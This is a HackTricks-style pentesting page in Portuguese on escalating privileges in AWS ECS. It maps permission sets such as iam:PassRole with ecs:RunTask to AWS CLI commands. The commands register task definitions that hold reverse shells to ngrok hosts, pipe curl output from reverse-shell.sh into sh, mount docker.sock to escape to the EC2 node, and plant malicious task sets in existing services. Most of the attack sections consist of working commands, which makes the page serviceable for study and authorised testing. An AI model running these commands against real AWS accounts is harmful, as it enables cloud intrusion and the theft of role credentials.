AWS - ECS Privesc

Support HackTricks

ECS

Mais informações sobre ECS em:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Um atacante abusando das permissões iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask no ECS pode gerar uma nova definição de tarefa com um container malicioso que rouba as credenciais de metadata e executá-lo.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto Potencial: Privesc direto para um papel ECS diferente.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Assim como no exemplo anterior, um atacante abusando das permissões iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask no ECS pode gerar uma nova definição de tarefa com um container malicioso que rouba as credenciais de metadados e executá-lo. No entanto, neste caso, é necessário uma instância de container para executar a definição de tarefa maliciosa.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto Potencial: Privesc direto para qualquer função ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Assim como no exemplo anterior, um atacante abusando das permissões iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService no ECS pode gerar uma nova definição de tarefa com um container malicioso que rouba as credenciais de metadados e executá-lo criando um novo serviço com pelo menos 1 tarefa em execução.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impacto Potencial: Privesc direto para qualquer função ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Na verdade, apenas com essas permissões é possível usar substituições para executar comandos arbitrários em um contêiner com uma função arbitrária com algo como:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impacto Potencial: Privesc direto para qualquer função ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Este cenário é semelhante aos anteriores, mas sem a permissão iam:PassRole. Isso ainda é interessante porque, se você pode executar um contêiner arbitrário, mesmo sem uma função, você poderia executar um contêiner privilegiado para escapar para o nó e roubar a função IAM do EC2 e as outras funções dos contêineres ECS que estão sendo executados no nó. Você poderia até forçar outras tarefas a serem executadas dentro da instância EC2 que você comprometer para roubar suas credenciais (como discutido na seção Privesc para nó).

Este ataque só é possível se o cluster ECS estiver usando instâncias EC2 e não Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Um atacante com as permissões ecs:ExecuteCommand, ecs:DescribeTasks pode executar comandos dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar aws ecs execute-command). No entanto, para fazer isso, a instância do contêiner precisa estar executando o agente ExecuteCommand (que por padrão não está).

Portanto, o atacante pode tentar:

  • Tentar executar um comando em cada contêiner em execução

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Se ele tem ecs:RunTask, execute uma tarefa com aws ecs run-task --enable-execute-command [...]

  • Se ele tem ecs:StartTask, execute uma tarefa com aws ecs start-task --enable-execute-command [...]

  • Se ele tem ecs:CreateService, crie um serviço com aws ecs create-service --enable-execute-command [...]

  • Se ele tem ecs:UpdateService, atualize um serviço com aws ecs update-service --enable-execute-command [...]

Você pode encontrar exemplos dessas opções em seções anteriores de privesc do ECS.

Impacto Potencial: Privesc para um papel diferente anexado aos contêineres.

ssm:StartSession

Verifique na página de privesc do ssm como você pode abusar dessa permissão para privesc para ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Verifique na página de privesc do ec2 como você pode abusar dessas permissões para privesc para ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: É possível registrar uma instância de uma conta AWS diferente para que as tarefas sejam executadas em máquinas controladas pelo atacante??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Testar isso

Um atacante com as permissões ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet e ecs:DescribeTaskSets pode criar um conjunto de tarefas malicioso para um serviço ECS existente e atualizar o conjunto de tarefas primário. Isso permite que o atacante execute código arbitrário dentro do serviço.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impacto Potencial: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.

Referências

Suporte ao HackTricks

Last updated